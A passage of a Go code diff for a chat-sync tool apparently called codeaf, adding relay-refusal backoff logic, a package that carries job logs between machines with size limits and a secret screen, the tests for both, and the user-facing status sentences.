} + return Refusal{}, false +} + +// next is the wait after a failed flush that followed a wait of prev. The relay's +// own Retry-After is a floor on any wait, and a halt outranks every other. +func (r Refusal) next(prev, interval time.Duration, err error) time.Duration { + wait := min(2*max(prev, interval), max(MaxBackoff, interval)) + if r.Flat { + wait = interval + } + wait = max(wait, min(wireauth.After(err), MaxHalt)) + if r.Halts { + wait = MaxHalt + } + return wait +} diff --git a/internal/cellsync/refusal_test.go b/internal/cellsync/refusal_test.go new file mode 100644 index 0000000000..63ce9bb91f --- /dev/null +++ b/internal/cellsync/refusal_test.go @@ -0,0 +1,164 @@ +package cellsync + +import ( + "context" + "net/http" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// refused is a batcher whose next flush is refused with err, and the lines the +// person has been told so far. +func refused(t *testing.T, r *rig, err error) (*Batcher, *[]string) { + t.Helper() + b := r.batcher() + b.Now = r.clock.Now + var told []string + b.OnError = func(e error) { + row, _ := RefusalOf(e) + told = append(told, row.Say(e)) + } + r.publishFirst(map[string]string{"a": "0"}) + note(b, r.seal(map[string]string{"a": "1"})) + r.store.set(err, nil) + return b, &told +} + +func waitOf(t *testing.T, err error) time.Duration { + t.Helper() + r := newRig(t) + b, _ := refused(t, r, err) + return b.flush(context.Background()) +} + +func TestAFullRelayIsToldAtOnceAndNotRetried(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, blobstore.ErrFull) + if d := b.flush(context.Background()); d != MaxHalt { + t.Fatalf("wait after a full relay = %v, want a halt of %v", d, MaxHalt) + } + b.flush(context.Background()) + if len(*told) != 1 || (*told)[0] != chatlist.RelayFull(0) { + t.Fatalf("told %q, want the full sentence once", *told) + } +} + +func TestFreedEndsAHaltAndSyncResumes(t *testing.T) { + r := newRig(t) + b, _ := refused(t, r, blobstore.ErrFull) + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + // A turn is already noted, so the loop's first flush is refused at once and it + // halts. Waiting for that halt, not for a count of sleepers, is what is + // deterministic: the heartbeat's own sleep may or may not be registered yet. + sl.settleOn(MaxHalt) + + h := r.seal(map[string]string{"a": "2"}) + note(b, h) + r.store.set(nil, nil) + b.Freed() + eventually(t, "the newest head to be sent", func() bool { return headIfAny(r) == h }) + if got := r.head(cellID).Head; got != h || b.Pending() != 0 { + t.Fatalf("after Freed: head %s, %d pending; want the newest head sent", got, b.Pending()) + } + cancel() + <-done +} + +func TestARateLimitStaysQuietUntilItLastsAFewMinutes(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, wireauth.ErrRateLimited) + b.flush(context.Background()) + r.clock.Advance(2 * time.Minute) + b.flush(context.Background()) + if len(*told) != 0 { + t.Fatalf("told %q within two minutes of a rate limit", *told) + } + r.clock.Advance(2 * time.Minute) + b.flush(context.Background()) + b.flush(context.Background()) + if len(*told) != 1 || (*told)[0] != chatlist.SlowDown { + t.Fatalf("told %q after four minutes, want the slow-down sentence once", *told) + } +} + +func TestARateLimitIsRetriedOnTheWaitTheRelayNamed(t *testing.T) { + err := wireauth.Wait(wireauth.ErrRateLimited, http.Header{"Retry-After": {"120"}}) + if d := waitOf(t, err); d != 120*time.Second { + t.Fatalf("wait = %v, want the relay's 120s", d) + } + if d := waitOf(t, wireauth.ErrRateLimited); d != 10*time.Second { + t.Fatalf("wait without a Retry-After = %v, want the doubled interval", d) + } +} + +func TestTooManyIdentitiesIsToldAtOnceAndWaitsTheRelaysWord(t *testing.T) { + r := newRig(t) + err := wireauth.Wait(wireauth.ErrTooManyIdentities, http.Header{"Retry-After": {"10800"}}) + b, told := refused(t, r, err) + if d := b.flush(context.Background()); d != time.Hour { + t.Fatalf("wait = %v, want the hour a wait is capped at", d) + } + want := "too many new identities from this network today — try again in about 3 hours" + if len(*told) != 1 || (*told)[0] != want { + t.Fatalf("told %q, want %q: the relay's real wait, not the capped one", *told, want) + } +} + +func TestARevokedComputerIsToldAtOnceAndNotRetried(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, wireauth.ErrRevoked) + if d := b.flush(context.Background()); d != MaxHalt { + t.Fatalf("wait after a revoked refusal = %v, want a halt", d) + } + if len(*told) != 1 || (*told)[0] != chatlist.Removed { + t.Fatalf("told %q, want the stopped-computer sentence", *told) + } +} + +func TestAnUnreachableRelayIsNotARefusal(t *testing.T) { + if _, ok := RefusalOf(blobstore.ErrUnreachable); ok { + t.Fatal("an unreachable relay was mapped to a person-facing sentence") + } +} + +func TestEveryRefusalHasOneSentenceAndOneSentinel(t *testing.T) { + lines := map[string]bool{} + for _, r := range refusals { + line := r.Say(r.Is) + if line == "" || lines[line] { + t.Errorf("refusal %v has an empty or repeated sentence %q", r.Is, line) + } + lines[line] = true + } +} + +func TestARecoveredRelayMakesTheNextRefusalNews(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, blobstore.ErrFull) + b.flush(context.Background()) + r.store.set(nil, nil) + b.flush(context.Background()) + r.store.set(blobstore.ErrFull, nil) + note(b, r.seal(map[string]string{"a": "2"})) + b.flush(context.Background()) + if len(*told) != 2 { + t.Fatalf("told %q, want the full sentence again after a recovery", *told) + } +} + +func TestAFullRelayNamesItsCeilingWhenItToldUsOne(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, blobstore.Capped(blobstore.ErrFull, 5<<30)) + b.flush(context.Background()) + if len(*told) != 1 || (*told)[0] != chatlist.RelayFull(5<<30) { + t.Fatalf("told %q, want the full sentence naming 5 GiB", *told) + } +} diff --git a/internal/chatfiles/chatfiles.go b/internal/chatfiles/chatfiles.go new file mode 100644 index 0000000000..31c2b1a186 --- /dev/null +++ b/internal/chatfiles/chatfiles.go @@ -0,0 +1,204 @@ +// Package chatfiles carries the files a chat owns that sit beside its cell and +// that its own transcript names by path: the logs of background jobs, the full +// output a long tool result was cut to. +// +// The sealed tree holds the workspace and the cell's .cell/ folder, and none of +// these live in either, so a chat that moved arrived with messages saying "log +// at .../logs/jobs/2.log" and no such file. They belong to the chat (it made +// them and its messages cite them), so they travel with it, by the same road as +// a task's copy: mirrored into .cell/ at every seal ([Carry.Compose]) and put +// back beside the chat on the other machine ([Carry.Restore]). +// +// WHAT STAYS BEHIND, AND IS SAID SO. A file over [MaxFileBytes], a file past +// the [MaxTotalBytes] a chat carries in all (the oldest go first) and a file +// that looks like it holds a secret are not carried. Each is named in the +// inventory's withheld list with the reason, so the receiving agent is told it +// stayed on the other machine instead of finding a path that opens nothing. +// +// WHAT IS NOT HERE. Derived files (card.json, plandb.db, meta.json) are made +// again on open, and the task copies under trees/ have their own carrier +// (internal/taskcopy). +package chatfiles + +import ( + "fmt" + "io/fs" + "os" + "path/filepath" + "slices" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/inventory" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/mirror" +) + +const ( + // MaxFileBytes is the largest file a chat carries. A job log that grew past + // it is named as left behind rather than sent, because one runaway log must + // not make every seal and every take heavy. + MaxFileBytes = 1 << 20 + // MaxTotalBytes is the most a chat carries in all, newest files first. + MaxTotalBytes = 16 << 20 + + // CarriedPath is where a seal keeps the files, under the same relative + // paths they have beside the chat. + CarriedPath = cell.StateDir + "/files" +) + +// roots are the folders beside a chat that hold what its messages name. +// +// The journals of the chat's tasks are not here: they are truth and live in +// .cell/tasks, which the seal carries whole with the cell (plandb.TaskDir). +// Carrying them again from beside the chat would put a second copy on the +// other machine and a second answer to where a journal is. +var roots = []string{"logs/jobs", "logs/stubs"} + +// formerRoots are folders an earlier seal also carried from beside the chat. +// Their entries in an old inventory are still ours to clear. +var formerRoots = []string{"tasks"} + +// OwnsWithheld reports whether a record entry names one of these files, which +// are the entries this package writes and the seal's other steps leave alone. +func OwnsWithheld(recordPath string) bool { + return slices.ContainsFunc(slices.Concat(formerRoots, roots), func(r string) bool { return strings.HasPrefix(recordPath, r+"/") }) +} + +// Carry is the mechanism: [Carry.Compose] on the seal side, [Carry.Restore] on +// the take side. It needs nothing, so the zero value works. +type Carry struct{} + +// file is one candidate: where it is, how big, and when it last changed. +type file struct { + rel string + info fs.FileInfo +} + +// Compose mirrors the chat's files into the cell, within the limits, and +// records in the inventory what it left out and where the files were. +func (Carry) Compose(c cell.Cell) error { + carried, withheld := within(candidates(c.Root)) + rels := relsOf(carried) + wrote, err := mirror.Sync(c.Root, filepath.Join(c.Root, CarriedPath), rels) + if err != nil { + return fmt.Errorf("carry chat files: %w", err) + } + kept, secret := screen(c, rels, wrote) + withheld = append(withheld, secret...) + return note(c, len(kept) > 0, withheld) +} + +// candidates is every file under the roots that is evidence and not the +// machine's own bookkeeping, newest first. +func candidates(root string) []file { + var out []file + for _, r := range roots { + _ = filepath.WalkDir(filepath.Join(root, filepath.FromSlash(r)), func(p string, d fs.DirEntry, err error) error { + if err != nil || !d.Type().IsRegular() || bookkeeping(d.Name()) { + return nil + } + if info, err := d.Info(); err == nil { + rel, _ := filepath.Rel(root, p) + out = append(out, file{filepath.ToSlash(rel), info}) + } + return nil + }) + } + slices.SortFunc(out, func(a, b file) int { return b.info.ModTime().Compare(a.info.ModTime()) }) + return out +} + +// bookkeeping is the files a job registry keeps beside the logs it prunes: they +// say nothing about the work and mean nothing on another machine. +func bookkeeping(name string) bool { + return strings.HasPrefix(name, ".retention") || strings.HasSuffix(name, ".retention") +} + +// within splits the candidates into the files that fit the limits and the +// withheld entries naming those that do not. +func within(all []file) (carried []file, left []inventory.Withheld) { + total := int64(0) + for _, f := range all { + switch { + case f.info.Size() > MaxFileBytes: + left = append(left, stayed(f.rel, fmt.Sprintf("over the %d MiB carry limit for one file", MaxFileBytes>>20))) + case total+f.info.Size() > MaxTotalBytes: + left = append(left, stayed(f.rel, fmt.Sprintf("past the %d MiB a chat carries in all", MaxTotalBytes>>20))) + default: + total += f.info.Size() + carried = append(carried, f) + } + } + return carried, left +} + +func stayed(rel, why string) inventory.Withheld { + return inventory.Withheld{Path: rel, Reason: why + "; it stayed on the machine that made it"} +} + +func relsOf(files []file) []string { + out := make([]string, len(files)) + for i, f := range files { + out[i] = f.rel + } + return out +} + +// screen takes out of the carried copy every file the secret scanner holds +// back, by the same scanner the seal uses on the workspace. Only files just +// written are read: a file the mirror left alone was judged when it was +// written. It answers the files still carried and the entries for the others. +func screen(c cell.Cell, rels, wrote []string) (kept []string, left []inventory.Withheld) { + held := map[string]bool{} + for _, f := range (keys.Scanner{}).Paths(c.Root, wrote) { + held[f.Path] = true + _ = os.Remove(filepath.Join(c.Root, CarriedPath, filepath.FromSlash(f.Path))) + left = append(left, stayed(f.Path, "it looks like it holds a secret")) + } + for _, rel := range rels { + if !held[rel] { + kept = append(kept, rel) + } + } + return kept, left +} + +// note replaces the inventory's entries for these files, and names the chat's +// folder when any file was carried so the other machine can say where they are. +func note(c cell.Cell, carried bool, withheld []inventory.Withheld) error { + dir := "" + if carried { + dir = c.Root + } + return inventory.Record(c.Root, func(inv *inventory.Inventory) { + inv.ChatDir = dir + inv.SetWithheld(OwnsWithheld, withheld) + }) +} + +// Restore puts the carried files back beside the chat, over what is there: the +// carried copy is the newest the chat has, and a file only this machine has is +// left alone. It answers how many it wrote. +func (Carry) Restore(c cell.Cell) (int, error) { + from := filepath.Join(c.Root, CarriedPath) + n := 0 + err := filepath.WalkDir(from, func(p string, d fs.DirEntry, err error) error { + if err != nil || !d.Type().IsRegular() { + return err + } + rel, _ := filepath.Rel(from, p) + if !filepath.IsLocal(rel) { + return fmt.Errorf("carried path %q leaves the chat folder", rel) + } + changed, err := mirror.CopyIfChanged(p, filepath.Join(c.Root, rel)) + if changed { + n++ + } + return err + }) + if os.IsNotExist(err) { + return 0, nil + } + return n, err +} diff --git a/internal/chatfiles/chatfiles_test.go b/internal/chatfiles/chatfiles_test.go new file mode 100644 index 0000000000..efaa762ade --- /dev/null +++ b/internal/chatfiles/chatfiles_test.go @@ -0,0 +1,166 @@ +package chatfiles + +import ( + "bytes" + "os" + osexec "os/exec" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/inventory" +) + +func chat(t *testing.T) cell.Cell { + t.Helper() + root := filepath.Join(t.TempDir(), "chat") + if err := os.MkdirAll(filepath.Join(root, cell.StateDir), 0o700); err != nil { + t.Fatal(err) + } + return cell.Cell{ID: "c", Root: root} +} + +func put(t *testing.T, c cell.Cell, rel string, body []byte, age time.Duration) { + t.Helper() + path := filepath.Join(c.Root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, body, 0o600); err != nil { + t.Fatal(err) + } + when := time.Now().Add(-age) + if err := os.Chtimes(path, when, when); err != nil { + t.Fatal(err) + } +} + +func inventoryOf(t *testing.T, c cell.Cell) inventory.Inventory { + t.Helper() + s, err := inventory.Open(c.Root) + if err != nil { + t.Fatal(err) + } + return s.Snapshot() +} + +// move is the chat arriving on another machine: only its .cell/ folder comes. +func move(t *testing.T, from cell.Cell) cell.Cell { + t.Helper() + to := chat(t) + if out, err := osexec.Command("cp", "-a", from.Root+"/"+cell.StateDir+"/.", to.Root+"/"+cell.StateDir).CombinedOutput(); err != nil { + t.Fatalf("%v: %s", err, out) + } + return to +} + +func TestJobLogsAndStubsComeBackOnTheOtherMachine(t *testing.T) { + a := chat(t) + files := map[string]string{ + "logs/jobs/2.log": "server listening on 8794\n", + "logs/stubs/0123abcd.txt": "the whole tool output\n", + } + for rel, body := range files { + put(t, a, rel, []byte(body), time.Minute) + } + put(t, a, "logs/jobs/2.log.retention", []byte("x"), time.Minute) + put(t, a, "logs/jobs/.retention.lock", nil, time.Minute) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + b := move(t, a) + if n, err := (Carry{}).Restore(b); err != nil || n != len(files) { + t.Fatalf("restored %d files (%v), want %d", n, err, len(files)) + } + for rel, body := range files { + got, err := os.ReadFile(filepath.Join(b.Root, filepath.FromSlash(rel))) + if err != nil || string(got) != body { + t.Errorf("%s on the other machine = %q, %v; want %q", rel, got, err, body) + } + } + if _, err := os.Stat(filepath.Join(b.Root, "logs/jobs/.retention.lock")); err == nil { + t.Error("the job registry's own bookkeeping travelled") + } + if got := inventoryOf(t, a).ChatDir; got != a.Root { + t.Errorf("ChatDir = %q, want the folder the files were in, %q", got, a.Root) + } +} + +func TestAFileOverTheLimitStaysAndIsNamed(t *testing.T) { + a := chat(t) + put(t, a, "logs/jobs/1.log", bytes.Repeat([]byte("x"), MaxFileBytes+1), time.Minute) + put(t, a, "logs/jobs/2.log", []byte("small\n"), time.Minute) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + b := move(t, a) + if _, err := (Carry{}).Restore(b); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(b.Root, "logs/jobs/1.log")); err == nil { + t.Error("a file over the limit was carried") + } + left := inventoryOf(t, b).Withheld + if len(left) != 1 || left[0].Path != "logs/jobs/1.log" || !strings.Contains(left[0].Reason, "stayed on the machine that made it") { + t.Errorf("withheld = %+v, want logs/jobs/1.log named with why it stayed", left) + } +} + +func TestTheNewestFilesFillTheTotalAndTheOldestAreNamed(t *testing.T) { + a := chat(t) + each := bytes.Repeat([]byte("y"), MaxFileBytes) + for i := 0; i < MaxTotalBytes/MaxFileBytes+2; i++ { + put(t, a, "logs/stubs/"+string(rune('a'+i))+".txt", each, time.Duration(i+1)*time.Hour) + } + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + left := inventoryOf(t, a).Withheld + if len(left) != 2 || left[0].Path != "logs/stubs/"+string(rune('a'+MaxTotalBytes/MaxFileBytes))+".txt" { + t.Fatalf("withheld = %+v, want the two oldest", left) + } +} + +func TestAFileThatLooksLikeASecretStaysAndIsNamed(t *testing.T) { + a := chat(t) + put(t, a, "logs/jobs/3.log", []byte("-----BEGIN RSA PRIVATE KEY-----\nMIIEow\n-----END RSA PRIVATE KEY-----\n"), time.Minute) + put(t, a, "logs/jobs/4.log", []byte("fine\n"), time.Minute) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(a.Root, CarriedPath, "logs/jobs/3.log")); err == nil { + t.Error("a file that holds a key was put in the cell") + } + if _, err := os.Stat(filepath.Join(a.Root, CarriedPath, "logs/jobs/4.log")); err != nil { + t.Errorf("a clean log was not carried: %v", err) + } + if left := inventoryOf(t, a).Withheld; len(left) != 1 || left[0].Path != "logs/jobs/3.log" { + t.Errorf("withheld = %+v, want logs/jobs/3.log", left) + } +} + +func TestAChatWithNothingToCarryNamesNoFolder(t *testing.T) { + a := chat(t) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + if got := inventoryOf(t, a).ChatDir; got != "" { + t.Errorf("ChatDir = %q, want none", got) + } +} + +// A task's journals are truth in .cell/tasks and travel with the cell; a second +// copy from beside the chat would be a second answer to where a journal is. +func TestTaskJournalsAreNotCarriedASecondTime(t *testing.T) { + a := chat(t) + put(t, a, "tasks/4/trajectory.jsonl", []byte("{}\n"), time.Minute) + put(t, a, "logs/jobs/2.log", []byte("x\n"), time.Minute) + if err := (Carry{}).Compose(a); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(a.Root, CarriedPath, "tasks")); err == nil { + t.Error("task journals were copied into the carried files") + } +} diff --git a/internal/chatlist/branch_test.go b/internal/chatlist/branch_test.go new file mode 100644 index 0000000000..53df7fd4f6 --- /dev/null +++ b/internal/chatlist/branch_test.go @@ -0,0 +1,41 @@ +package chatlist + +import "testing" + +func TestBranchLineSpellings(t *testing.T) { + r := Row{Status: Branch, Device: "laptop", OrphanTurns: 2} + for got, want := range map[string]string{ + BranchLine(r, true): "2 turns from laptop: merge / discard", + BranchLine(r, false): "2 turns from laptop: discard", + BranchShort(r): "2 turns · laptop", + } { + if got != want { + t.Errorf("got %q, want %q", got, want) + } + } + // The frozen sentence and the list's own status line are one spelling. + if BranchLine(r, true) != StatusLine(r) { + t.Errorf("BranchLine and StatusLine disagree") + } +} + +func TestOneTurnIsNotPlural(t *testing.T) { + for _, c := range []struct { + n uint32 + unit string + }{{1, "1 turn"}, {2, "2 turns"}} { + r := Row{Status: Branch, Device: "mac", OrphanTurns: c.n, Pending: c.n} + want := map[string]string{ + BranchLine(r, true): c.unit + " from mac: merge / discard", + BranchLine(r, false): c.unit + " from mac: discard", + BranchShort(r): c.unit + " · mac", + TakeoverLine(r): "last saved turn 0s ago; up to " + c.unit + " may still be on mac", + KeptEdits(c.n, "mac"): "your unsaved edits here were kept as " + c.unit + " from mac", + } + for got, w := range want { + if got != w { + t.Errorf("K=%d: got %q, want %q", c.n, got, w) + } + } + } +} diff --git a/internal/chatlist/copy.go b/internal/chatlist/copy.go new file mode 100644 index 0000000000..1e7909f807 --- /dev/null +++ b/internal/chatlist/copy.go @@ -0,0 +1,296 @@ +package chatlist + +import ( + "fmt" + "strings" + "time" +) + +// The frozen sentences (STAGE-1-CONTRACTS §8.1). Every surface takes its words +// from here so a respelling happens once. +const ( + OfferContinue = "continue here" + // MoveHere is the verb for a chat another device is running right now, and + // ContinueVerb for one it let go of; the devices row offers them by name. + MoveHere = "Move here" + ContinueVerb = "Continue here" + LostRace = "another device continued this chat first" + NoIdentity = "this machine has no identity yet: codeaf identity import" + SyncOff = "sync is off: set CODEAF_SYNC_URL to your sync address" + Unreachable = "other machines unreachable" + ClockOff = "this computer's clock is off by more than 5 minutes" + // What the relay's refusals say (one sentence each, in the order the + // cellsync table lists them). None names a code or a number of requests: + // each says what is true for the person and what, if anything, to do. + relayFull = "your sync space is full%s, so new turns stay on this computer; free space there and reopen this chat" + Removed = "this device was removed by another of your devices, so this chat stays here only — run `codeaf pair` to bring it back" + SlowDown = "sync is asking this computer to slow down; new turns stay here and go up as soon as it allows" + tooManyNewIn = "too many new identities from this network today — try again in about %s" + TooManyNew = "this network has started too many new identities today; sync begins when it allows more" + ReplacedGone = "your identity was replaced and sync has deleted the old one; pair this computer again (/pair on a computer that has the new one)" + Replaced = "your chats are moving to a new identity; when that is done, pair this computer again (/pair on the computer that moved them)" + runningOn = "running on %s" + deviceOff = "%s offline" + branchLine = "%s from %s: merge / discard" + branchKeep = "%s from %s: discard" + branchShort = "%s · %s" + takeoverLine = "last saved turn %s ago" + takeoverMore = "; up to %s may still be on %s" + keptEdits = "your unsaved edits here were kept as %s from %s" + supersededLine = "%s continued this chat; this window now only shows it" + copiesCame = "working copies of tasks came along: %s" + copyCame = "the working copy of a task came along: %s" + setupAsk = "Set this machine up like %s had it?" + setupAskAnon = "Set this machine up like it was?" + arrivedHead = "Moved from %s. Here is where it stands." + arrivedAnon = "Moved here. Here is where it stands." + notBrought = "not brought along: %s" + wasRunning = "was running there: %s" + alsoNeeded = "also needed: %s" + uncommitted = "not committed yet: %s" + lastTests = "last tests: %s" + testsPassed = "passed" + testsFailed = "failed" + movedFrom = "Moved from %s in %s. Everything as you left it." + movedAnon = "Moved here in %s. Everything as you left it." + movedRestart = " What was running there can start again here." + moreNames = "%s and %d more" + // OfferSetUp and OfferNotNow are the two answers of the card a takeover raises, + // and SetupLater is what the second one says, so a person who answered it + // knows the door is still open. + OfferSetUp = "set up" + OfferNotNow = "not now" + OfferGotIt = "got it" + SetupLater = "/setup does this later" +) + +// namesShown is how many names a line of the setup card spells before it says +// how many more there are. +const namesShown = 3 + +// SetupFacts are the three lists a takeover can have something to say about, as +// lines a person reads: folders the copy did not bring, commands that were +// running there, and what this machine also needs. +type SetupFacts struct { + Missing, Running, Needed, Changed []string + // Tests is the last test run's line, from [TestsLine], "" when none was recorded. + Tests string +} + +// SetupHead is the question of the card a takeover raises. A device whose name +// is unknown is left out with the word before it, so the sentence still reads. +func SetupHead(device string) string { + if device == "" { + return setupAskAnon + } + return fmt.Sprintf(setupAsk, device) +} + +// ArrivedHead is the heading of the card a takeover raises when there is +// nothing to set up and only where the chat stands to say. +func ArrivedHead(device string) string { + if device == "" { + return arrivedAnon + } + return fmt.Sprintf(arrivedHead, device) +} + +// SetupReasons are the lines under the question, one for each list that is not +// empty. The person is shown exactly what the agent will be told, because both +// are built from the same facts. +func SetupReasons(f SetupFacts) []string { + var out []string + for _, line := range []struct { + label string + names []string + }{ + {notBrought, f.Missing}, {wasRunning, f.Running}, {alsoNeeded, f.Needed}, {uncommitted, f.Changed}, + } { + if len(line.names) > 0 { + out = append(out, fmt.Sprintf(line.label, nameList(line.names))) + } + } + if f.Tests != "" { + out = append(out, f.Tests) + } + return out +} + +// TestsLine is the line for the last recorded test run: it passed, or it failed +// and, when the run said how many, how many. +func TestsLine(passed bool, failed int) string { + switch { + case passed: + return fmt.Sprintf(lastTests, testsPassed) + case failed > 0: + return fmt.Sprintf(lastTests, fmt.Sprintf("%s %d", testsFailed, failed)) + } + return fmt.Sprintf(lastTests, testsFailed) +} + +// nameList spells the first few names and counts the rest. +func nameList(names []string) string { + if len(names) <= namesShown { + return strings.Join(names, ", ") + } + return fmt.Sprintf(moreNames, strings.Join(names[:namesShown], ", "), len(names)-namesShown) +} + +// StatusLine is what a list row says beside the title. Idle and Here say +// nothing (the emptiness law), so their line is empty. +func StatusLine(r Row) string { + switch r.Status { + case Running: + return fmt.Sprintf(runningOn, r.Device) + case Off: + return fmt.Sprintf(deviceOff, r.Device) + case Branch: + return fmt.Sprintf(branchLine, turns(r.OrphanTurns), r.Device) + } + return "" +} + +// BranchLine is a branch row's sentence for what the surface can do with it. +// Merge is offered only where a surface has a way to merge, so a surface +// without one says the sentence without it rather than promising the verb +// (a capability that cannot work is absent, not broken). +func BranchLine(r Row, merge bool) string { + if merge { + return fmt.Sprintf(branchLine, turns(r.OrphanTurns), r.Device) + } + return fmt.Sprintf(branchKeep, turns(r.OrphanTurns), r.Device) +} + +// BranchShort is the branch row's narrow spelling (ruling 2026-09-29, §8.1): +// the shared row fitter takes it below the width the full sentence needs, so +// the row never loses the fact that it is a branch and where it came from. +func BranchShort(r Row) string { return fmt.Sprintf(branchShort, turns(r.OrphanTurns), r.Device) } + +// TakeoverLine is the takeover screen's sentence; the clause about turns still +// on the other machine is left out when none are. A chat that is running now +// says where first, because continuing it here stops it there. +func TakeoverLine(r Row) string { + line := fmt.Sprintf(takeoverLine, agoWord(r.DurableAgo)) + if r.Pending > 0 { + line += fmt.Sprintf(takeoverMore, turns(r.Pending), r.Device) + } + return holderLead(r) + line +} + +// agoWord spells an age in its largest whole unit, so an hour reads `1h` and +// not `3600s`: seconds under a minute, then minutes, hours and days. +func agoWord(d time.Duration) string { + switch { + case d < time.Minute: + return fmt.Sprintf("%ds", int64(d/time.Second)) + case d < time.Hour: + return fmt.Sprintf("%dm", int64(d/time.Minute)) + case d < 24*time.Hour: + return fmt.Sprintf("%dh", int64(d/time.Hour)) + } + return fmt.Sprintf("%dd", int64(d/(24*time.Hour))) +} + +// holderLead names the device a live chat runs on, and is empty for a chat +// nobody is running. +func holderLead(r Row) string { + if r.Status != Running { + return "" + } + return fmt.Sprintf(runningOn+"; ", r.Device) +} + +// KeptEdits is said after a takeover kept local edits as a branch. +func KeptEdits(n uint32, device string) string { + return fmt.Sprintf(keptEdits, turns(n), device) +} + +// CopiesCame is said after a takeover brought the working copies of tasks that +// had not landed, named by task. It says nothing when none came (the emptiness +// law), so the caller can join it to other sentences without a test. +func CopiesCame(names []string) string { + switch len(names) { + case 0: + return "" + case 1: + return fmt.Sprintf(copyCame, names[0]) + } + return fmt.Sprintf(copiesCame, strings.Join(names, ", ")) +} + +// RelayFull is said when the relay has no room left. It names the ceiling the +// relay told us, and says nothing of one when the relay named none (the +// emptiness law): a relay run on its own disk has no number to give. +func RelayFull(limitBytes int64) string { + size := "" + if limitBytes > 0 { + size = " (" + bytesSize(limitBytes) + ")" + } + return fmt.Sprintf(relayFull, size) +} + +// TooManyNewIn is said when the relay turned a network's new identity away and +// named when its day frees up. It rounds the wait up, so a person who comes back +// at the time it says is never turned away again; a relay that named no wait +// gets the plain TooManyNew. +func TooManyNewIn(wait time.Duration) string { + if wait <= 0 { + return TooManyNew + } + return fmt.Sprintf(tooManyNewIn, waitWords(wait)) +} + +// waitWords spells a wait in the unit a person plans by: a minute or less, whole +// minutes below an hour (a wait that rounds to 60 of them is an hour), and whole hours after, each rounded up. +func waitWords(wait time.Duration) string { + switch { + case wait <= time.Minute: + return "a minute" + case wait < time.Hour-time.Minute: + return fmt.Sprintf("%d minutes", ceilUnits(wait, time.Minute)) + } + if hours := ceilUnits(wait, time.Hour); hours > 1 { + return fmt.Sprintf("%d hours", hours) + } + return "an hour" +} + +// ceilUnits is wait in whole units of unit, rounded up. +func ceilUnits(wait, unit time.Duration) int { return int((wait + unit - 1) / unit) } + +// bytesSize spells a byte count in the largest binary unit it reaches, without +// trailing zeros: 5 GiB, 1.5 GiB, 512 MiB. +func bytesSize(n int64) string { + const mib, gib = 1 << 20, 1 << 30 + if n >= gib { + return fmt.Sprintf("%g GiB", float64(n)/gib) + } + return fmt.Sprintf("%g MiB", float64(n)/mib) +} + +// Superseded is said to a driver whose lease another device took over. +func Superseded(device string) string { return fmt.Sprintf(supersededLine, device) } + +// turns spells a count of turns, so one reads `1 turn` in every sentence that +// carries a count and the copy is never `1 turns`. +func turns(n uint32) string { + if n == 1 { + return "1 turn" + } + return fmt.Sprintf("%d turns", n) +} + +// Moved is the line every takeover says, with the time it measured. It says +// where the chat came from when that is known, and that what was running there +// can start again only when something was. +func Moved(from string, elapsed time.Duration, hadRunning bool) string { + took := elapsed.Round(100 * time.Millisecond).String() + line := fmt.Sprintf(movedAnon, took) + if from != "" { + line = fmt.Sprintf(movedFrom, from, took) + } + if hadRunning { + line += movedRestart + } + return line +} diff --git a/internal/chatlist/devices.go b/internal/chatlist/devices.go new file mode 100644 index 0000000000..8f0a4e852f --- /dev/null +++ b/internal/chatlist/devices.go @@ -0,0 +1,79 @@ +package chatlist + +import ( + "fmt" + "sort" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// The words of the devices row. The two verbs it offers, MoveHere and +// ContinueVerb, are in copy.go with the other contract sentences. +const ( + thisMac = "This Mac" + thisDevice = "This computer" + offlineTag = "(offline)" + verbFrom = "%s from %s" + darwin = "darwin" +) + +// Device is one paired device as the devices row shows it. +type Device struct { + ID, Name string + // Self marks the device the row is drawn on. + Self bool +} + +// Devices lists the devices that are not revoked, this one first and the rest by +// name, so the row never reshuffles when a device comes and goes. +func Devices(l directory.Listing, self string, open Opener) []Device { + var out []Device + for id, d := range l.Devices { + if !d.Revoked { + out = append(out, Device{ID: id, Name: ownName(id == self, d, open, id, l), Self: id == self}) + } + } + sort.Slice(out, func(i, j int) bool { return deviceBefore(out[i], out[j]) }) + return out +} + +func ownName(self bool, d directory.Device, open Opener, id string, l directory.Listing) string { + if !self { + return deviceName(l.Devices, id, open) + } + if d.Platform == darwin { + return thisMac + } + return thisDevice +} + +func deviceBefore(a, b Device) bool { + if a.Self != b.Self { + return a.Self + } + if a.Name != b.Name { + return a.Name < b.Name + } + return a.ID < b.ID +} + +// Mark is the dot and name of a device, filled when it is online. A device that +// is not online says so in words as well, since a hollow dot alone is easy to +// miss on a plain terminal. +func (d Device) Mark(online bool) string { + if online || d.Self { + return "● " + d.Name + } + return "○ " + d.Name + " " + offlineTag +} + +// VerbFor is the verb the devices row offers for a chat on another device. +func VerbFor(r Row) string { + if r.Status == Running { + return MoveHere + } + return ContinueVerb +} + +// VerbFrom is the verb with the device it brings the chat from. +func VerbFrom(r Row) string { return 